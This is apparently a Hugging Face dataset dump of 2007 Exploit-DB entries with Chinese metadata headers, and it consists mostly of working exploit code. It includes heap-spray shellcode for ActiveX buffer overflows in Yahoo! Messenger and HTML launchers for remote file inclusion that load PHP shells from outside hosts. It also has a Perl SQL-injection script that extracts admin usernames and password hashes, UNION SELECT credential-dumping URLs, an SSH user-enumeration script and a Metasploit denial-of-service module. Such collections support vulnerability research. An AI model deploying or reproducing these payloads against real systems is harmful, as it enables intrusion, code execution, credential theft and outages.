QLWD/code_shield huggingface dataset:
标题: Yahoo! Messenger Webcam 8.1 - ActiveX Remote Buffer Overflow (2) EDB-ID: 4043 CVE: 2007-3148 类型: REMOTE 平台: WINDOWS 发布日期: 2007-06-07 漏洞利用脚本: This affects the viewer ywcvwr.dll with yahoo messenger
  latest version tested.
  Fixed bug in last post
  (x=0;xi<800;x++) should be  (x=0; x<800; x++)
   
  Here is your 2nd 0day!!!
  link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856 
   
<html> 
<object classid='clsid:9D39223E-AE8E-11D4-8FD3-00D0B7730277' id='target'></object> 
<script>
shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + 
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + 
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + 
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + 
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + 
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + 
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + 
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + 
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + 
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + 
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + 
"%uCC4A%uD0FF"); 
bigblock = unescape("%u9090%u9090"); 
headersize = 20; 
slackspace = headersize+shellcode.length 
while (bigblock.length<slackspace) bigblock+=bigblock; 
fillblock = bigblock.substring(0, slackspace); 
block = bigblock.substring(0, bigblock.length-slackspace); 
while(block.length+slackspace<0x40000) block = block+block+fillblock; 
memory = new Array(); 
for (x=0; x<800; x++) memory[x] = block + shellcode; 
var buffer = '\x0a'; 
while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a'; 
target.server = buffer; 
target.receive(); 
</script> 
</html> 

# milw0rm.com [2007-06-07] URL: https://www.exploit-db.com/exploits/4043
标题: PHP Real Estate Classifieds - Remote File Inclusion EDB-ID: 4055 CVE: 2007-3160 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-09 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>PHP Real Estate Classifieds Premium Plus(header.php) Remote File Inclusion 
Exploit</title>

<script language="JavaScript">

//===============================================================================================
//[Script Name: PHP Real Estate Classifieds Premium Plus
//[               not sec group
//[Author     : http://notsec.com
//[Email      : info@notsec.com
//===============================================================================================
//developers page:  http://phprealestatescript.com/

   var path="/admin/"
   var adres="header.php" 
   var acik ="?loc=" 
   var shell="http://notsec.com/shell.txt" // put THE php shell here

   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }



  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready
  rfi.submit(); 
   }
</script>

</head>

<body bgcolor="white">
<center>

<p><b><font face="Arial" size="1" color="black">PHP Real Estate (header.php) Remote File Inclusion Exploit</font></b></p>

<p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="verdana" size="1" color="black">Target:</font>
 <font face="verdana" size="1" color="black">[http://[vittima]/[path]</font><font color="black" size="2" face="Tahoma">
  </font><font color="white" size="1">&nbsp;</font></b>
  <input type="text" name="target1" size="10" style="background-color: white" onmouseover="javascript:this.style.background=\'white\';" onmouseout="javascript:this.style.background=\'white\';"></p>
  <p><input type="submit" value="submit" name="B1"><input type="reset" value="reset" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="400" width="650" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="verdana" size="1" color="gray"># notsec.com [08-06-2007]</font></b><p></b></p>
</p>
</center>
</body>

</html>

# milw0rm.com [2007-06-09] URL: https://www.exploit-db.com/exploits/4055
标题: Comicsense 0.2 - 'index.php?epi' SQL Injection (2) EDB-ID: 4037 CVE: 2007-3088 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-06 漏洞利用脚本: #!/usr/bin/perl -w

#################################################################################
#          #
#     ComicSense 0.2 SQL Injection Exploit      #
#          #
# Discovered by: s0cratex       #
# Payload: Admin Username & Hash Retrieval     #
# Website: http://www.w4ck1ng.com      #
#          #
# Original Advisory: http://seclists.org/bugtraq/2007/Jun/0063.html  #
#       http://milw0rm.com/exploits/4035    #
#           #
# Vulnerable Code (index.php):        #
#          #
#      $sqlQuery = "SELECT * FROM " . $prefix . "comic WHERE episodenr = $epi"; #
#          #
# PoC: http://victim.com/index.php?epi=-999 UNION SELECT username,0,password  #
#      FROM users LIMIT 1       #
#           #
# Subject To: Nothing        #
# GoogleDork: Get your own!       #
#          #
# Shoutz: The entire w4ck1ng community & s0cratex    #
#          #
#################################################################################

use LWP::UserAgent;
if (@ARGV < 1){
print "-------------------------------------------------------------------------\r\n";
print "                 ComicSense 0.2 SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_comicsense.pl [PATH]\r\n\r\n";
print "[PATH] = Path where ComicSense is located\r\n\r\n";
print "e.g. w4ck1ng_comicsense.pl http://victim.com/comic/\r\n";
print "-------------------------------------------------------------------------\r\n";
print "               http://www.w4ck1ng.com\r\n";
print "                      ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "index.php?epi=-999 UNION SELECT username,0,password FROM users LIMIT 1";

$res = $b->request(HTTP::Request->new(GET=>$host));
$res->content =~ /.jpg" alt="#(.*?):/;

  ($user) = $res->content =~ /.jpg" alt="#(.*?):/;
  ($hash) = $res->content =~ /: ([0-9a-fA-F]{32})" \/>/;

if($user && $hash){

print "-------------------------------------------------------------------------\r\n";
print "                 ComicSense 0.2 SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "[+] Admin User : $user\n";
print "[+] Admin Hash : $hash\n";
print "-------------------------------------------------------------------------\r\n";
print "               http://www.w4ck1ng.com\r\n";
print "                      ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
} else {
  print "\nExploit Failed...\n";
}

# milw0rm.com [2007-06-06] URL: https://www.exploit-db.com/exploits/4037
标题: Kartli Alisveris Sistemi 1.0 - SQL Injection EDB-ID: 4040 CVE: 2007-3119 类型: WEBAPPS 平台: ASP 发布日期: 2007-06-06 漏洞利用脚本: ########################################################################################
#Discovered by: kerem125 & gsy
#Website: http://www.kerem125.com/ & http://www.by-gsy.org/
#Script download:
http://download.asprehberi.net/dosyalar/kategoriler/alisveris/freepaypalshoppingcart_tr.zip
#Exploit:
/news.asp?news_id=16union+select+all+0,1,admin_name,Password,4+from+admin
#Example :
http://www.localhost/shop/news.asp?news_id=1 20union+select+all+0,1,admin_name,Password,4+from+admin
#Admin Login : /admin/login.asp
Contact : kerem125@kerem125.com & by_gsy@hotmail.com
#Special Thanks to : by_emR3 - Bolivar - VolTiGoRe - CyberGhost - KinSize
-xYz - F-10 - DarXBoyZ - GencDefacer And Str0ke for posting Milw0rm
########################################################################################

# milw0rm.com [2007-06-06] URL: https://www.exploit-db.com/exploits/4040
标题: Kravchuk letter script 1.0 - 'scdir' Remote File Inclusion EDB-ID: 4034 CVE: 2007-3118 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-05 漏洞利用脚本: ++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++
+   K-letter 1.0 << Remote File include                             +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   DownloadScript: http://www.scripts.com.ua/download.php?ID=813   +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   Cyber-warrior.org <<< sanal alemin DEV.                         +
+                                                                   +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   ERROR [1];  action.php?                                         +
+              include ($scdir."admin/config.inc.php");             +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   BUG                                                             +
+   www.target.com/path/acrion.php?scdir=[3vil script]              +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   ERROR [2];  subs.php?                                           +
+              include $scdir."admin/config.inc.php";               +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   BUG                                                             +
+   www.target.com/path/subs.php?scdir=[3vil script]                +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   ERROR [3];  unsubs.php?                                         +
+              include $scdir."admin/config.inc.php";               +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   BUG                                                             +
+   www.target.com/path/unsubs.php?scdir=[3vil script]              +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+DORK:(                                                             +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++CYBER-SECURITY+++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2007-06-05] URL: https://www.exploit-db.com/exploits/4034
标题: Screen 4.0.3 (OpenBSD) - Local Authentication Bypass EDB-ID: 4028 CVE: 2007-3048 类型: LOCAL 平台: LINUX 发布日期: 2008-06-18 漏洞利用脚本: _   _ _____ _     ___ _____ _   _
                   / / / / ____/ /   /  _/_  __/ / / /
                  / /_/ / __/ / /    / /  / / / /_/ /
                 / __  / /___/ /____/ /  / / / __  /
                /_/ /_/_____/_____/___/ /_/ /_/ /_/
                           Helith - 0815
--------------------------------------------------------------------------------

Author   : Rembrandt
Date   : 2007-06-03
Affected Software: screen <= 4.0.3
Affected OS  : OpenBSD up to 4.4 (and propably others)
Type   : Local Authentication Bypass

OSVDB   : 39587
Milw0rm   : 4028
CVE   : 2007-3048
ISS X-Force:  : 34693

screen, on some operating systems, is vulnerable to a local terminal screen 
lock authentication bypass that may allow physically proximate attackers to 
gain access to the system.

This issue has been confirmed on OpenBSD with screen 4.0.3 on x86/amd64.
The underlying vulnerability may be related to 3rd party authentication such
as PAM. This issue was tested on OpenSuSE with screen 4.0.2 and was not
vulnerable.


Steps to reproduce:

$ screen -S test
[Screened session starts]
$ id
uid=1001(test) gid=1001(test) groups=1001(test)
$ 
[type  ctrl-a x]
Key:  test
Again:  test
Screen used by test <test>.
Password:
[type  ctrl-c]
$ screen -r
[Regained access to screen, without password]

The screen lock mechanism is designed to lock a terminal, not the entire shell 
session. If an attacker has shell access to the target account, it is understood
they can bypass protection. However, on the system tested, the screen lock
mechanism was bypassed using 'ctrl-c'.

The vulnerability is not in OpenBSD. screen developers indicate this is known
behavior, but do not appear to fully understand the scenario with which 
this can be abused. Replies to my initial disclosure suggest this may be
related to PAM authentication, or another 3rd party package. Testing was
not performed to fully identify the vulnerable code.

Tobias Ulmer has committed a patch to the screen code that prevents
this exploit from happening.


Kind regards,
Rembrandt

# milw0rm.com [2008-06-18] URL: https://www.exploit-db.com/exploits/4028
标题: Yahoo! Messenger Webcam 8.1 - ActiveX Remote Buffer Overflow EDB-ID: 4042 CVE: 2007-3147 类型: REMOTE 平台: WINDOWS 发布日期: 2007-06-07 漏洞利用脚本: <html>
<!--
45 minutes of fuzzing!
Great results! very relible, runs calc.exe, replace with shellcode of your choice!!!
 
link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856
maybe more vulz!
 
Greetz to: str0ke and shinnai!
-->
<html>
<object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='target'></object>
<script>
shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + 
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF");    
bigblock = unescape("%u9090%u9090"); 
headersize = 20; 
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock; 
fillblock = bigblock.substring(0, slackspace); 
block = bigblock.substring(0, bigblock.length-slackspace); 
while(block.length+slackspace<0x40000) block = block+block+fillblock; 
memory = new Array(); 
for (x=0; x<800; x++) memory[x] = block + shellcode; 
var buffer = '\x0a'; 
while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a'; 
target.server = buffer; 
target.initialize(); 
target.send(); 
</script>
</html>
sometimes 0a0a0a0a0a is not as good as 0d0d0d0d or 11111111

# milw0rm.com [2007-06-07] URL: https://www.exploit-db.com/exploits/4042
标题: HP Tru64 - Remote Secure Shell User Enumeration EDB-ID: 4032 CVE: 2007-2791 类型: REMOTE 平台: TRU64 发布日期: 2007-06-04 漏洞利用脚本: #!/usr/bin/perl
use warnings;
use strict;
#
# Remember: you need to accept ssh key first!
#
use Tie::File;
use Fcntl 'O_RDONLY';
use Expect;
use Time::HiRes qw(gettimeofday);
#
# tru64-sshenum.pl
# HP Tru64 Remote Secure Shell user enumeration exploit (CVE-2007-2791).
#
# Author: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# The following supported software versions are affected:
#
#  HP Tru64 UNIX v5.1B-4
#  HP Tru64 UNIX v5.1B-3
# 
# The Hewlett-Packard Company thanks Andrea Purificato for reporting this 
# vulnerability to security-alert@hp.com
#
# References: 
#  - http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?lang=en&cc=us&objectID=c01007552
#  - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2791
#  - http://rawlab.mindcreations.com/codes/exp/nix/tru64-sshenum.pl
#

my $verbose = undef;
my $port    = 22;
my $timeout = 10;

print <<BANNER;
$0 - HP Tru64 Remote Secure Shell user enumeration exploit

 Andrea "bunker" Purificato - http://rawlab.mindcreations.com
 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2 

BANNER

print "Usage: $0 <target> <userlist>\n" and exit(-1) if ($#ARGV<1);

my $target   = $ARGV[0];
my $wordlist = $ARGV[1];
chomp (my $ssh  = `which ssh`);
chomp (my $tel  = `which telnet`);
my %htimes; my @atimes;

print "[+] Grabbing banner...\n";
my $exp = Expect->spawn("$tel -l fake $target $port") 
 or die "Cannot spawn $tel: $!\n";;
#$exp->log_stdout(0);
$exp->expect(5,['SSH|ssh'=>sub{$exp->send(".\n")}]);
$exp->close();
print "[+] Done!\n\n";

sub timing {
    my $user = shift @_;
    my $t0 = gettimeofday;
    my $t1 = undef;
    my $exp = Expect->spawn("$ssh -l $user -p $port $target") 
 or die "Cannot spawn $ssh: $!\n";;
    $exp->log_stdout(0);
    $exp->expect($timeout,['assword:'=>sub{$exp->send(".\n")}]);
    $exp->expect(undef,   [ qr'assword|denied'=>sub{$t1=gettimeofday}]);
    $t1 = gettimeofday unless ($t1);
    $exp->close();
    return sprintf "%0.3f", ($t1-$t0);
}

tie my @wlst_ln, 'Tie::File', "$wordlist", mode=>O_RDONLY
    or die "$wordlist: $!";

print "[+] Started, please wait: ";
for (@wlst_ln) {
    print "($_ dup?)" if ($htimes{$_});
    my $ret = timing($_);
    $htimes{$_} = $ret unless ($htimes{$_});
    push @atimes, $ret;
    unless ($verbose) { print "." }
    else { print "$_\t\t$ret\n" }
}
print " Done!\n\n";

# 
# Do whatever you want with time values:
# 
# (sorted by values)
# 
foreach my $key (sort {$htimes{$b}<=>$htimes{$a}} keys %htimes) {
     print "$key:\t\t$htimes{$key}\n";
}
exit(0);

# milw0rm.com [2007-06-04] URL: https://www.exploit-db.com/exploits/4032
标题: Comicsense 0.2 - 'index.php?epi' SQL Injection (1) EDB-ID: 4035 CVE: 2007-3088 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-05 漏洞利用脚本: *********************************************
  Comicsense SQL Injection Advisory/Exploit
*********************************************

by s0cratex
s0cratex@hotmail.com
http://plexinium.net

-
ComicSense is a script using php / mySQL.
It allows you to easily host an Online Comic
or Image shack.
You can download it from www.gayadesign.nl/comicsense/
-

The bug is a common sql injection in "index.php"

Line 32:
$sqlQuery = "SELECT * FROM " . $prefix . "comic WHERE episodenr = $epi";
And the variable $epi is not verified...

Exploit:
--------
Admin username
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT username,1,1 FROM users

MD5 hash password:
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT password,1,1 FROM users

e-Mail adress:
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT email,1,1 from users

# milw0rm.com [2007-06-05] URL: https://www.exploit-db.com/exploits/4035
标题: Madirish Webmail 2.0 - 'addressbook.php' Remote File Inclusion EDB-ID: 4031 CVE: 2007-2826 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-04 漏洞利用脚本: ###########################################################

Madirish Webmail v2.0  Remote File Include Vulnerabilities

Author : BoZKuRTSeRDaR

Contact MSN:BoZKuRTSeRDaR@BoZKuRTSeRDaR.CoM

My Homepage :WwW.Turkmilliyetcileri.OrG

script Download : http://sourceforge.net/projects/madirishwebmail

###############################################################################

code:
require_once($GLOBALS['basedir']."lib/sql.php")

exploit:

http://www.example.com/[patch]lib/addressbook.php?GLOBALS[basedir]=shell.txt?

# milw0rm.com [2007-06-04] URL: https://www.exploit-db.com/exploits/4031
标题: SNMPc 7.0.18 - Remote Denial of Service (Metasploit) EDB-ID: 4033 CVE: 2007-3098 类型: DOS 平台: WINDOWS 发布日期: 2007-06-04 漏洞利用脚本: ##
# $Id: snmpc.rb  2007-06-03  $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Auxiliary::Dos::Windows::Snmpc < Msf::Auxiliary

 include Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'SNMPc ',
   'Description'    => %q{
    This module sends a specially-crafted packet to the service login of snmpc 
    causing a denial of service of snmpc.
   },
   'Author'         => [ 'En Douli, Tks to OaiTeam <DouliEn@gmail.com>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 1 $',
   'References'     =>
    [
     [ 'CVE', 'XXXXXXX' ],
    ]))
   
   register_options([Opt::RPORT(165),], self.class)
 end

 def run
  connect
  init = "\x14\x00\x00\x00\x70\xa9\x00\x00\x51\x03\x00\x00\x02\x00\x00\x00\x72\x63\x6f\x6e"
  pkt = "\x29\x00\x00\x00\xbc\xee\x00\x00\x52\x03\x00\x00\x02\x00\x00\x00\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74"
  pkt << "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" * 56
  pkt << "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x09"
  pkt << "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" * 35
  pkt <<  "\x41\x41\x41\x41\x41\x41\x41\x41\x09\x30\x00"
  
  print_status("Sending dos packet ... ")
  
  sock.put(init)
  sock.put(pkt)
  
  disconnect
 end

end
end 

# milw0rm.com [2007-06-04] URL: https://www.exploit-db.com/exploits/4033
标题: NewsSync for phpBB 1.5.0rc6 - Remote File Inclusion EDB-ID: 4041 CVE: 2007-3136 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-07 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>newsSync 1.5.0rc6 (nuke_include.php) Remote File Inclusion 
Exploit</title>

<script language="JavaScript">

//'===============================================================================================
//'[Script Name: newsSync 1.5.0rc6
//'[Author     : GoLd_M = Mahmood_ali
//'[S.Page     : http://www.coolerclimate.com/downloads/newssync_1.5.0rc6.tar
//'===============================================================================================

//'[[V.Code]]------------------------------------------------------
//'
//'<?php
//'
//'if ($newsSync_enable_phpnuke_mod) {
//' ini_set("include_path",ini_get("include_path").":$newsSync_NUKE_PATH");
//' require_once("$newsSync_NUKE_PATH/mainfile.php");
//'
//'[[V.Code]]---------------------------------------------------------

//#
//# Ex:
//# /inc/nuke_include.php?newsSync_enable_phpnuke_mod=1&newsSync_NUKE_PATH=http://localhost/trayg.txt?
//# Video:
//# http://norcalvex.org/v1d30/newsSync-video.rar
//# Sp.TanX : Tryag.Com/cc
//#



   var path="/inc/"
   var adres="nuke_include.php" //File name
   var acik ="?newsSync_enable_phpnuke_mod=1&newsSync_NUKE_PATH=" // Line 3 & 5
   var shell="http://dr3.150m.com/r57.txt?" // R57Shell

   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }



  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Arial" size="2" color="#FFFFFF">newsSync 1.5.0rc6 
(nuke_include.php) Remote File Inclusion Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Tahoma" size="1" color="#FF0000">Target:</font><font face="Tahoma" size="1" color="#FFFF00">[http://[vicim]/[path]</font><font color="#00FF00" size="2" face="Tahoma">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Lucida Handwriting" size="5" color="#FF0000">Mahmood_ali</font></b><p>
<b><a href="http://tryag.com/cc">
<font face="Lucida Handwriting" size="5" color="#FFFFFF">TrYaG-Team</font></a></b></p>
</p>
</center>
</body>

</html>

# milw0rm.com [2007-06-07] URL: https://www.exploit-db.com/exploits/4041
标题: Apple Mac OSX < 2007-005 - 'vpnd' Local Privilege Escalation EDB-ID: 4013 CVE: 2007-0753 类型: LOCAL 平台: OSX 发布日期: 2007-05-30 漏洞利用脚本: # Copyright (c) 2007 Kevin Finisterre <kf_lists [at] digitalmunition.com>
#
# CVE-ID: CVE-2007-0753 - http://docs.info.apple.com/article.html?artnum=305530

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4013.tar.gz (05302007-vpenis.tar.gz)

# milw0rm.com [2007-05-30] URL: https://www.exploit-db.com/exploits/4013